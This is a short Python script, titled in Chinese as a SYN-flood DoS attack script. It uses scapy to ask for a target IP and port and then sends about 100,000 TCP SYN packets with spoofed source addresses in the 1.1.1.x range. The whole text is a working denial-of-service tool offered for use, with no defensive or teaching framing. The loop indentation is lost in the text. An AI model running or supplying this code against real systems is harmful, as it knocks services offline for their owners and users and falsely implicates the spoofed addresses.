SYN flood Dos攻击python脚本

from scapy.all import *
import random
dst_ip = input("请输入你要攻击的目标IP:")
dst_port = input("请输入你要攻击的端口:")
dst_port = int(dst_port)
for i in range(0,99999):
random_ip = '1.'+'1.'+'1.'+str(random.randrange(1,254))
random_Sport = random.randrange(49151,65535)
ip = IP(src = random_ip,dst = dst_ip)
packet = TCP(sport = random_Sport,dport = dst_port,flags = 'S',seq = 1111111)
synpacker = (ip/packet)
send(synpacker)